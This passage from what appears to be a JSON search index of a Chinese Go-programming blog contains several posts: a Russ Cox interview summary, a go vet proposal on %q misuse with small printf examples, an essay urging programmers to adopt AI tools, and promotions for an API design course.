团队的解决方案是：\n定义一个极其简单的、稳定的、机器可读的 JSON 输出格式。Go 团队只承诺维护这个简单格式的稳定性。 告诉社区：“然后，你们可以自己写一个从这个 JSON 到你们所需 XML 的转换器。现在，你们可以自己解决自己的问题，而无需等待我们来解决。” 这种“授人以渔”而非“授人以鱼”的哲学，通过提供稳定、正交的底层构建块(build block)，赋能社区在其上构建自己的“进步”，这正是 Go 生态能够健康、蓬勃发展的核心秘诀。\nAI 时代的“灵魂拷问”——我们还需要 Go 吗？ 如今，Russ Cox 的工作重心已转向“理解和提升 AI 模型的编码能力”。对于 AI 是否会取代程序员这个终极问题，他给出了一个充满历史纵深感的、冷静的回答。\nAI 只是进化的又一级台阶 他认为，AI 与编程语言的关系，是计算机发展史上“抽象层次不断提升”这一宏大叙事的延续。\n40年代：我们通过手动连接电线来编程。后来，我们发明了解释器，用“数据”代替了“电线”。 50年代：我们有了 FORTRAN，用 ax² + bx + c 这样的公式，代替了手写机器指令。 今天：AI 正在将一些我们曾认为“只有人能做”的工作自动化，比如编写样板代码、调试简单问题。 “我认为 AI 将融入同样的模式……我们会将一些关注点交接出去，然后我们会找到更新、更大的事情来专注。每当我们的能力增长，或者我们将一些工作卸载给机器时，我们的雄心也会随之增长。”\nAI 不会让我们失业，它只会让我们站到更高的起点，去挑战更宏大的问题。\n编程语言不会消亡，清晰性永恒 Russ Cox 坚信，无论 AI 如何发展，人类可读、行为确定的编程语言都不会消亡。\n“英语不会成为编程语言，因为它的歧义性太高了……最终，我们描述的依然是一门编程语言。”\n“拥有一门人类可以阅读、理解的编程语言，这一点仍然至关重要。这样，当计算机行为不端时，你可以看着代码说：‘哦，我明白了为什么在这些指令下，它没有做正确的事。’”\nAI 可能会帮助我们编写代码，但代码本身，作为人与机器之间那个最基础、最可靠的契约，其地位无可替代。\nGo 在 AI 时代的定位 Go 诞生的初衷，是为了解决 20 年前兴起的“多核网络系统”这一巨大挑战。Russ Cox 认为，AI 很有可能在未来提出另一个同等级别的挑战，催生一门全新的语言。\n“也许会有一门专为训练模型而生的新语言。Python 目前表现出色，但很容易相信你可以用一门定制语言做得更好。但整个世界并不会都在训练模型。”\n他认为，世界上有大约 300 万 Go 开发者，但需要编写模型训练代码的人远少于此。这意味着，Go 作为一门为构建大规模、高并发网络服务而生的语言，其核心价值主张在 AI 时代不仅没有过时，反而愈发重要——因为所有的 AI 模型，最终都需要通过稳定、高效的服务来提供价值。\n给后辈的忠告——如何构建持久的事业？ 在访谈中，Russ Cox 还给所有有志于创造持久价值的年轻工程师，分享了两条极其宝贵的建议：\n花时间去真正理解问题：“很多时候，人们很容易满足于第一个能工作的方案。而我做过的大部分有价值的事，都来自于回头审视一个问题，然后感觉：‘实际上，我还没有完全理解它，我应该再试一次。’” 深入挖掘，直到你发现一个更简单、更根本的解决方案。\n找到让你兴奋的环境：“如果你对一件事感到兴奋，你早上醒来就想继续做它，那么你最终能完成的工作，将远超那些只为完成 8 小时任务的人……去找到那些能真正激励你的事情。”\n领导力的传承 —— “最重要的期末考试，是退到一旁” 在访谈的最后，Russ Cox 分享了他对领导力，特别是开源项目领导力传承的深刻见解。这或许是整场对话中最具智慧和温度的部分。\n他认为，开源社区的领导力，本质上是一种**“社会性事业” (social endeavor)，沟通、协作、建立共识的能力，远比纯粹的编程能力更重要。而一个领导者最终极的考验，并非是他能做出多少贡献，而在于他能否以及何时选择“退到一旁”**。\n“最终，对领导者来说最重要的期末考试，就是退到一旁，然后说：‘好吧，我甚至不需要再在这里了。现在你可以领导这个了。’ 而这很难。”\nRuss Cox 坦言，做自己擅长的事情是舒适和安全的，但他清醒地认识到，“项目需要新的想法和新的视角”。他回顾了 Go 领导权的两次交接：\n从 Rob Pike 到 Russ Cox：一次非正式的、渐进的交接。Rob Pike 邀请他加入，并在某个时刻悄然地“把项目交给了我，我突然就负责了”。 从 Russ Cox 到 Austin Clements：一次更正式的交接。在领导 Go 长达十年之后，Russ Cox 在 2023 年正式将帅印交给了 Austin Clements。 他强调，这种传承的意义在于：\n“确保项目能超越某个特定的人而存在，并且也能获得它们所需要的新视角和新想法。”\n这不仅仅是一次权力的交接，更是一位卓越领导者对项目未来的深谋远虑和无私奉献。它确保了 Go 这艘大船，能够在新船长的引领下，继续朝着更广阔的海域航行。\n结语 从贝尔实验室的“简单”初心，到 Go 语言的“稳定”哲学，再到对 AI 时代的冷静远见，Russ Cox 的这场访谈，为我们描绘了一位顶尖工程师和技术领袖的心路历程。\n他的故事告诉我们，构建持久的技术，其秘诀不在于追逐一时的潮流，而在于深刻地理解问题，坚守核心的原则，并始终保持对创造的热情。这或许也是 Go 语言之所以能穿越喧嚣，成为今天这个样子的根本原因。\n资料链接：https://learning.acm.org/bytecast/ep78-russ-cox\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/10/russ-cox-interview-go-birth-evolution-future/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/russ-cox-interview-go-birth-evolution-future-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/10/russ-cox-interview-go-birth-evolution-future\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/10/russ-cox-interview-go-birth-evolution-future\"\u003ehttps://tonybai.com/2025/12/10/russ-cox-interview-go-birth-evolution-future\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e他是 Go 语言的第二代掌门人，在长达十余年的时间里，引领着 Go 从一个内部实验项目，成长为云原生时代的霸主。他也是 Plan 9 的资深黑客，贝尔实验室精神的传承者。如今，他已\u003ca href=\"https://tonybai.com/2024/10/10/pass-torch-to-go-new-leadership-team\"\u003e将 Go 的帅印交给了下一代\u003c/a\u003e，转身投入到 AI 模型编码能力的研究中。\u003c/p\u003e","title":"“我曾想付钱给 Google 去工作”—— Russ Cox 深度访谈：Go 的诞生、演进与未来"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/09/vet-add-check-for-using-verb-q\n大家好，我是Tony Bai。\nGo 语言的设计哲学，一向以“简单、明确、无魔法”著称，其目标是让代码的行为尽可能符合开发者的直觉，即遵循所谓的**“最小惊讶原则” (Principle of Least Astonishment)**。然而，最近一个被 Go 团队接受的 go vet 新提案（NO.72850），却像一面镜子，映照出了 Go 在这条道路上的一些“盲区”。\n这个提案本身很简单，但它所揭示的问题却非常深刻：当一个开发者写下 fmt.Printf(“%q”, 123) 时，他期望得到的是字符串 “123″，但实际得到的却是 ‘{\\n’。这种期望与现实的巨大鸿沟，让我们不得不反思：Go 的设计，真的总是那么“不言自明”吗？\n问题的核心：%q 与 string(i) 的“历史包袱” 该提案的核心，是要求 go vet 工具对 fmt.Printf 中 %q 动词的误用发出警告。%q 的文档清晰地说明，它的作用是“将一个字符或字符串，格式化为一个带单引号或双引号、经过 Go 语法安全转义的字面量”。\n然而，许多开发者会想当然地认为，%q 能够像 %v 或 %d 一样，处理普通的整数。这种误解导致了令人惊讶的结果：\npackage main import \u0026#34;fmt\u0026#34; func main() { num := 123 // 开发者期望: \u0026#34;123\u0026#34; // 实际输出: \u0026#39;{\u0026#39; // 为什么？因为 123 是字符 \u0026#39;{\u0026#39; 的 ASCII/Unicode 码点。 fmt.Printf(\u0026#34;fmt.Printf(\\\u0026#34;%q\\\u0026#34;, 123) -\u0026gt; %q\\n\u0026#34;, num) } 输出:\nfmt.Printf(\u0026#34;%q\u0026#34;, 123) -\u0026gt; \u0026#39;{\u0026#39; 这个行为，与另一个 Go 新手常见的陷阱如出一辙——string(i) 整数到字符串的转换：\nfunc main() { num := 123 // 开发者期望: \u0026#34;123\u0026#34; // 实际输出: \u0026#34;{\u0026#34; // 为什么？因为 string(i) 的作用是将一个 Unicode 码点转换为其对应的 UTF-8 字符串。 fmt.Printf(\u0026#34;string(123) -\u0026gt; %s\\n\u0026#34;, string(num)) } 输出:\n./prog.go:11:36: conversion from int to string yields a string of one rune, not a string of digits Go vet failed. string(123) -\u0026gt; { 这两个例子共同揭示了一个问题：Go 在处理“数字”与“字符”的转换时，其行为源自 C 语言的悠久传统，但对于没有这种历史背景的现代开发者而言，这无疑是“反直觉”的。正确的做法，本应是使用 strconv.Itoa(123)。\ngo vet：是“创可贴”还是“守护神”？ Go 团队接受了这个提案，意味着未来的 go vet 将会像它已经对 string(i) 做的那样，对 fmt.Printf(“%q”, non_char_int) 这样的代码发出警告。\n这引出了一个更深层次的讨论：我们是在用 vet 工具，为语言设计上的“瑕疵”打补丁吗？\n一方观点：如果一个 API 如此容易被误用，以至于需要一个外部工具来纠正它，那么这个 API 本身的设计可能就存在问题。像 printf 这种继承自 C 语言的、依赖于“格式化字符串”与可变参数类型匹配的范式，本身就是类型不安全的，难以做到“无需文档即可正确使用”。\n另一方观点（务实派）：Go 的设计，是在表达力、性能和历史兼容性之间做出的权衡。string(i) 的行为对于处理 rune 和 byte 极其高效和方便，为了这个核心用例，牺牲一些对普通 int 的“直觉性”是值得的。printf 家族虽然有其历史包袱，但其功能强大且广为人知。\n在这种权衡之下，go vet 扮演的角色，就不仅仅是一个“创可贴”，而更像是一个**“守护神”。它成为了 Go 语言设计哲学的一部分，代表了一种务实的工程决策**：\n语言本身保持小巧和高性能，而将那些复杂的、易出错的模式检查，交给一个同样作为一等公民的、可不断演进的静态分析工具链。\n一个惊人的发现：%q 误用有多普遍？ 为了评估这个提案的影响，Go 团队成员 Alan Donovan 对约 10,000 个开源 Go 模块进行了扫描，结果令人震惊：\n共发现了 42,976 处 fmt.Printf(“%q”, …) 的潜在误用！ 他随机抽查了其中的几十个案例，发现几乎全是“真阳性”——开发者显然是想用 %q 来打印一个带引号的数字或普通变量，却意外地打印出了一个不相关的 Unicode 字符。\n这个数据雄辩地证明，%q 的“反直觉”行为，并非个别新手的困惑，而是一个在 Go 社区中普遍存在的认知盲区。这也使得为 go vet 增加这个检查的必要性，变得无可辩驳。\n小结：在“简单”与“清晰”之间求索 %q 的故事，是 Go 语言设计哲学复杂性的一次精彩展现。它告诉我们，“简单”并非一个单薄的概念。\nstring(i) 的设计，对于语言实现和 rune 处理来说，是简单的。 fmt.Printf 的格式化动词，对于熟悉 C 传统的人来说，是简单的。 但当这些“局部简单”的特性，组合在一起并呈现给一位来自不同背景的开发者时，其行为就可能不再清晰 (Clear)，甚至变得“令人惊讶”。\nGo 语言通过不断地为其守护神——go vet 工具——添加新的“神力”，来弥合“简单”与“清晰”之间的鸿沟。这正是Go团队承认历史，正视现实，并用工程化的手段，引导开发者走向更健壮、更正确的代码的一种务实策略。\n下一次，当 go vet 在你的代码下划出波浪线时，或许你看到的，将不再是一个冰冷的警告，而是一份来自 Go 设计者们的、穿越时空的“温馨提示”。\n资料链接：https://github.com/golang/go/issues/72850\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/09/vet-add-check-for-using-verb-q/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/vet-add-check-for-using-verb-q-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/09/vet-add-check-for-using-verb-q\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/09/vet-add-check-for-using-verb-q\"\u003ehttps://tonybai.com/2025/12/09/vet-add-check-for-using-verb-q\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eGo 语言的设计哲学，一向以“简单、明确、无魔法”著称，其目标是让代码的行为\u003cstrong\u003e尽可能符合开发者的直觉\u003c/strong\u003e，即遵循所谓的**“最小惊讶原则” (Principle of Least Astonishment)**。然而，最近一个被 Go 团队接受的 go vet 新提案（\u003ca href=\"https://github.com/golang/go/issues/72850\"\u003eNO.72850\u003c/a\u003e），却像一面镜子，映照出了 Go 在这条道路上的一些“盲区”。\u003c/p\u003e","title":"Go 的“最小惊讶原则”破功了吗？—— 一个vet 新提案引发的思考"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/09/programmer-all-in-ai-survival-revelation-in-2025\n大家好，我是Tony Bai。\n最近逛 Twitter 和技术论坛，我发现了一个非常有意思，甚至有些魔幻的现象。\n尽管我们已经站在了 2025 年末，距离 ChatGPT 震撼发布已经过去了整整三年，AI 能力早已从“玩具”进化成了“重型武器”。但在评论区里，依然充斥着大量这样的声音：\n“真程序员谁用 AI 啊，那都是给脚本小子用的。” “用 AI 生成代码没有灵魂，我还是习惯自己掌控每一个字符。” … … 看着这些言论，再联想到身边团队和朋友圈中的一些类似的现象，我忍不住在我的知识星球中发了一句感慨：\n“给了你机关枪，你却非得用大刀。这不仅是不合时宜，简直是暴殄天物”\n这三年，AI 不再是那个只会写打油诗的聊天机器人，它是基建，是水电，是程序员的第二大脑。\n在这个时间节点，命题早已改变：不再是“要不要用 AI”，而是**“你为什么还在用大刀砍柴？”**\n但在真正 All in AI 之前，我们必须先看清现实中普遍存在的**“四大怪象”**，并一一打破它们。\n现实中的“四大怪象” 如果你仔细观察身边的技术团队，朋友圈或者审视一下自己，可能就会发现我们都在不自觉地陷入以下误区：\n怪象一：技术洁癖引发的“伪精英心态”\n很多人认为依赖工具是能力退化的表现。他们以“纯手工打造”为荣，认为只有自己敲出来的代码/文字才叫硬核，用 AI 就像是“作弊”。\n怪象二：工具依赖导致的“思维躺平”\n另一极端是，有了 AI 就不思考了。遇到问题直接扔给 AI，AI 给什么就用什么，不再去探究底层的原理，甚至觉得“反正 AI 会，我不用学了”。\n怪象三：盲目信任带来的“埋雷行为”\n把 AI 当作真理的化身。直接 Copy \u0026amp; Paste AI 生成的代码上线，不看逻辑，不测边界，结果把 AI 的幻觉（Hallucination）直接变成了线上的 Bug。\n怪象四：浅尝辄止的“低效勤奋”\n虽然也在用 AI，但只停留在“帮我写个正则”、“解释这段代码”的浅层阶段。手里拿着加特林机关枪，却只把它当烧火棍用。\nAll in AI 之前的“四重认知突围” 针对上述怪象，如果想在 2025 年以及未来几年生存并晋级，我们需要进行一次彻底的认知重构。\n认知 1：拒绝羞耻感 —— 它是“外骨骼”，不是“轮椅” (对标怪象一)\n越是基本功扎实的老兵，越容易有“技术羞耻感”。请立刻抛弃这种旧思维。\n在 2025 年，能力定义的公式变了。\n旧能力 = 记忆力 + 手速 + 经验 新能力 = (经验 + 洞察) × AI 算力 使用 AI 不是因为你“能力不行”需要轮椅，而是为了放大你的能力。它让你从繁琐的语法/文书细节（Syntax）中解脱出来，让你的架构设计能力得以十倍级释放。善用“机关枪”是特种兵的素养，不是逃兵的借口。\n认知 2：拒绝躺平 —— 是“升维”，不是“减负” (对标怪象二)\n以为用了 AI 就可以不学习了？大错特错。\nAI 时代的学习逻辑发生了倒置： AI 负责“已知知识的检索与生成”，你负责“未知领域的洞察与判断”。\n当 AI 帮你搞定了 80% 的“实现细节（How）”，你必须把节省下来的精力，投入到那 20% 更核心的“价值判断（Why \u0026amp; What）”中。\n你不仅不能停止学习，反而要学得更深、更广——否则你甚至不知道该如何向 AI 提问，更不知道如何判断它给出的方案是平庸还是卓越。\n认知 3：坚守底线 —— 做“机长”，不做“乘客” (对标怪象三)\nAI 的第一性原理（概率预测）决定了它永远存在“一本正经胡说八道”的可能。\n对 AI 输出的成果物进行严苛的审核 (Review)，是任何成果物发布前的必经路径。\n你需要从“Writer（撰稿人）”转型为**“Editor-in-Chief（总编辑）”**。\n你是机长，AI 是副驾驶。它负责操作仪表盘，但你负责决定航向，并对每一次降落的安全性负责。 没有审核的 AI 代码/文档，就是一颗定时炸弹。这意味着你不能只看代码跑通了没有，还要像审查实习生代码一样，去盘问它的逻辑漏洞和边缘情况。\n认知 4：直面竞争 —— 比的是“枪法”，不是“有枪” (对标怪象四)\n三年过去，AI 已经祛魅。现在人人手里都有一把“机关枪”（Cursor, Claude Code, Copilot 等）。\n竞争的维度变了：不再是谁有枪（因为大家都有），而是谁的枪法更准。\n初级枪法： 单轮对话，只会问简单问题。 高级枪法： 懂得 Context Injection（上下文注入）、Chain of Thought（思维链）、Spec-Driven（规范驱动开发工作流）。 “都用 AI”只是入场券。 真正的比拼，在于谁用得更深、更精，谁能用这把枪打出“百步穿杨”的效果。\n小结：是时候All in AI了！ 技术历史的车轮滚滚向前，残酷性从未改变。\n每一次技术范式的转移，都会留下一批抱残守缺的“大刀队”。他们不是不努力，他们甚至比谁都辛苦，每天挥舞大刀砍得汗流浃背，但在“机关枪”的扫射下，这种努力显得苍白无力。\n2025 年末，放下你的大刀吧。\n去学习怎么校准瞄准镜，怎么控制后坐力，怎么设计交叉火力网。这不丢人。这才是对技术、对自己职业生涯最大的尊重。\n互动话题\n在使用 AI 编程的过程中，你遇到过最让你“细思极恐”的时刻是什么？或者最让你感到“真香”的瞬间是什么？欢迎在留言区分享你的故事。\n如何练就“百步穿杨”的枪法？\n文章里我们说了，“都用 AI”只是入场券，真正的决胜点在于谁用得更深、更精，谁拥有一套高维度的“AI 原生工作流”。\n如果你已经决定放下“大刀”，拿起“机关枪”，但面对市面上眼花缭乱的工具（Claude Code, Cursor, Windsurf）和碎片化的技巧，感到无从下手；\n或者你虽然用了 AI，但发现自己依然陷入在“改 Bug -\u0026gt; AI 生成新 Bug”的低效死循环中；\n那么，欢迎加入我的极客时间专栏**《AI 原生开发工作流实战》**。\n在这里，我们将深入实战：\n重构开发范式： 彻底告别“聊天式编程”，掌握 SDD (规范驱动开发) 的核心心法，学会用 Spec 文档精准指挥 AI。 驾驭 Agentic 系统： 深入剖析 Claude Code 等 Agentic Tools 的底层逻辑，把它们变成你忠实的“外包团队”。 构建私有/团队工作流： 手把手教你搭建一套**“人脑定义目标 + AI 并发执行”**的高效流水线。 别让手里的机关枪生锈。 点击下方卡片，我们一起在实战中进化。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/09/programmer-all-in-ai-survival-revelation-in-2025/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/programmer-all-in-ai-survival-revelation-in-2025-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/09/programmer-all-in-ai-survival-revelation-in-2025\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/09/programmer-all-in-ai-survival-revelation-in-2025\"\u003ehttps://tonybai.com/2025/12/09/programmer-all-in-ai-survival-revelation-in-2025\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e最近逛 Twitter 和技术论坛，我发现了一个非常有意思，甚至有些魔幻的现象。\u003c/p\u003e\n\u003cp\u003e尽管我们已经站在了 \u003cstrong\u003e2025 年末\u003c/strong\u003e，距离 ChatGPT 震撼发布已经过去了整整三年，AI 能力早已从“玩具”进化成了“重型武器”。但在评论区里，依然充斥着大量这样的声音：\u003c/p\u003e","title":"给了机关枪，你却非要耍大刀：2025 年末，程序员 All in AI 的生存启示录"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/08/api-design-pattern-and-implementation\n大家好，我是Tony Bai。\n在 Go 语言的圈子里摸爬滚打这么多年，我经常被问到这样一个问题：\n“Tony，我已经熟悉了 Go 的语法，也会用 Gin 写增删改查（CRUD）了，为什么我写的 API 还是经常被前端吐槽？为什么业务逻辑稍微一变，我的代码就要推倒重来？为什么我的接口文档和代码永远对不上？”\n这并不是你一个人的困惑。在多年的一线架构与咨询工作中，我见过太多 “能跑但不可维护” 的 API 系统：\n命名随心所欲：同一个系统里，获取用户有时候叫 /get_user，有时候叫 /user/query，动词名词混用，仿佛是不同的人在堆砌代码。 返回格式像盲盒：报错时有时候返回 HTTP 400，有时候返回 200 并在 Body 里写个 “code”: -1，前端解析代码写得苦不堪言。 性能与扩展性的噩梦：为了查一个字段，返回了整个数据库表的所有列；为了加一个新功能，不得不强迫所有老版本的 App 强制更新。 这就是典型的“面条代码”（Spaghetti Code）。\n在软件工程中，它通常指代那些控制流复杂、逻辑纠缠不清的代码。而在 API 设计领域，它特指那些缺乏统一结构、动词名词混用、层级关系混乱的接口定义。它们就像一碗煮烂的面条，虽然勉强能吃（代码能跑通），但你永远理不清哪根是哪根（无法维护与扩展）。\n这些问题的根源，不在于你对 Go 语言掌握得不够熟练，也不在于 Gin 等Web开发框架本身，而在于缺乏“API 架构设计”的系统性思维。\n写代码只是最后一步，设计才是灵魂。\n为什么我们需要“设计”API？ 在云原生时代，API 就是系统之间的“契约”。如果契约设计得随意、混乱，那么微服务之间的交互就会变成一场灾难。\n很多开发者认为，写 API 不就是“接收请求 -\u0026gt; 查数据库 -\u0026gt; 返回 JSON”吗？但这只是实现（Implementation），而非接口（Interface）。\n真正优秀的企业级 API，像 Google、Stripe 或 GitHub 的 API，它们之所以好用、耐用，是因为它们背后有一套严密的设计哲学和规范体系。它们把业务逻辑抽象成了清晰的“资源”和“状态流转”，而不是简单的函数调用。\n这就引出了本专栏的核心初衷：我希望带你跳出“CRUD 码农”的思维局限，像架构师一样去思考 API 设计。\n这个专栏讲什么？ 市面上讲 Go 和 Gin 的教程汗牛充栋，但大多数停留在“术”的层面——教你如何写路由、如何绑定参数。\n而本专栏《API 设计之道：从设计模式到 Gin 工程化实现》，试图走一条不同的路。我想带你打通从理论模式到工业标准，再到工程落地的完整闭环。\n为了达成这个目标，我为你总结了一套**“道、法、术”三位一体**的学习路径：\n1. 道：汲取世界级 API 设计模式的精华\n我们不谈空洞的理论，而是将经典的 API 设计模式（Patterns）内化为解决具体问题的思维工具。比如，如何用**“字段掩码（Field Mask）”模式解决数据传输过重的问题？如何用“长耗时操作（LRO）”**模式解决 AI 推理接口超时的问题？这些模式是无数架构师踩坑后总结出的智慧。\n2. 法：对标 Google AIP 业界顶层规范\nGoogle AIP (API Improvement Proposals) 是目前业界公认的、最详尽的 API 设计指南。在专栏中，我们会把每一个设计决策都拿去和 Google AIP 对标。比如，Google 是如何定义“软删除”的？Google 是如何设计分页游标的？我们要学，就学业界最高的标准。\n3. 术：基于 Gin 的核心代码落地\n光有理论是空中楼阁。我会结合 Go 语言最流行的 Web 框架 Gin，把上述所有高大上的模式和规范，转化为实实在在的 Go 代码。我们会编写通用的中间件、设计泛型的 Controller、封装标准的错误处理包。你不仅能学到“为什么”，还能直接拿走“怎么做”的代码。\n专栏模块规划 为了让你学得更顺滑，也为了让每一个知识点都能真正落地，我将专栏分为了循序渐进的四个模块，共 10 讲核心内容：\n模块一：基础架构篇 这一模块的目标是帮你**“正本清源”**。我们将纠正那些随意的接口命名习惯，划清 API 的职责边界，建立起资源导向的架构思维。\n01 | 资源导向设计 (ROD)：告别 RPC 风格的“动词地狱” 为什么 Google 的 URL 里从来不出现动词？如何利用 Gin 的路由组重构代码，让 API 像数据库 Schema 一样清晰？\n02 | 标准方法论：CRUD 的哲学与 HTTP 动词的精准语义 PUT 和 PATCH 到底该用哪个？删除是真删还是软删？我们将深入探讨状态变更的原子性，并设计一个符合规范的泛型 Controller。\n03 | 非标行为设计：当 REST 无法描述“取消订单”时怎么办？ 并不是所有业务都是增删改查。我们将引入“自定义方法”模式，在保持 REST 风格统一的前提下，优雅地处理翻译、计算等非标动作。\n模块二：消息设计篇 这一模块聚焦于**“效率与体验”**。我们将解决数据传输中的“过度获取”和“性能瓶颈”问题，让你的 API 既灵活又高效。\n04 | 字段掩码模式：让前端决定后端返回什么 移动端只想看头像，后端却返回了整个 User 对象？我们将实现类似 GraphQL 的“按需索取”能力，利用 Go 的反射机制动态裁剪响应体。\n05 | 列表分页模式：彻底告别 Offset 分页的性能陷阱 海量数据下，limit/offset 会导致数据库全表扫描。我们将揭秘大厂强制使用的“游标分页”机制，并在 Gin 中设计安全的 NextPageToken。\n06 | 结构化错误处理：RFC 7807 与错误模型的最佳实践 告别仅仅返回 500 的“盲盒”报错。我们将引入 Problem Details 标准，封装一套让前端和运维都爱不释手的结构化错误处理中间件。\n模块三：质量与治理篇 在云原生环境下，高并发是常态。这一模块将通过设计手段，保证 API 的高可用与安全性。\n07 | 幂等性设计：处理网络抖动与重复请求的“唯一真理” 用户手抖点了两次“支付”，如何防止重复扣款？我们将结合 Redis 实现请求锁与结果缓存，构建系统级的防重机制。\n08 | 流量与配额：构建基于 Redis 的分布式限流器 如何防止某个租户突发流量打挂整个服务？我们将探讨令牌桶算法在分布式环境下的实现，并标准化输出配额响应头。\n模块四：演进与 AI 篇 API 发布了只是开始。这一模块将带你探索 API 的全生命周期管理，以及面向 AI 时代的特殊设计挑战。\n09 | 版本演进策略：激进废弃与平滑过渡的艺术 业务飞速发展，如何修改接口而不让老版本 App 崩溃？我们将对比 URL 与 Header 版本化的优劣，并演示如何优雅地通知客户端接口下线。\n10 | 面向 AI 的 API：长耗时任务 (LRO) 与流式响应 LLM 推理往往需要几分钟，HTTP 连接超时怎么办？我们将实现“异步创建 + 轮询”范式，并利用 Gin 的 SSE 特性实现类似 ChatGPT 的流式响应。\n现在订阅，开启进阶之旅 在这个技术快速迭代的时代，框架和工具总是在变，但架构设计模式和规范思维是恒久不变的内功。\n我希望通过这个专栏，不仅能让你写出一手漂亮、规范、高性能的 Go 代码，更能让你在未来的技术评审中，能够底气十足地告诉团队：“我们之所以这样设计接口，是因为这是符合工业界最佳实践的架构之道。”\n《API 设计之道：从设计模式到 Gin 工程化实现》 现已正式上线。\n点击这里，或扫描下方二维码\n拒绝“面条代码”，从今天开始重塑你的 API 设计思维！\n我是 Tony Bai，我在专栏里等你。\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/08/api-design-pattern-and-implementation/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/api-design-pattern-and-implementation.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca 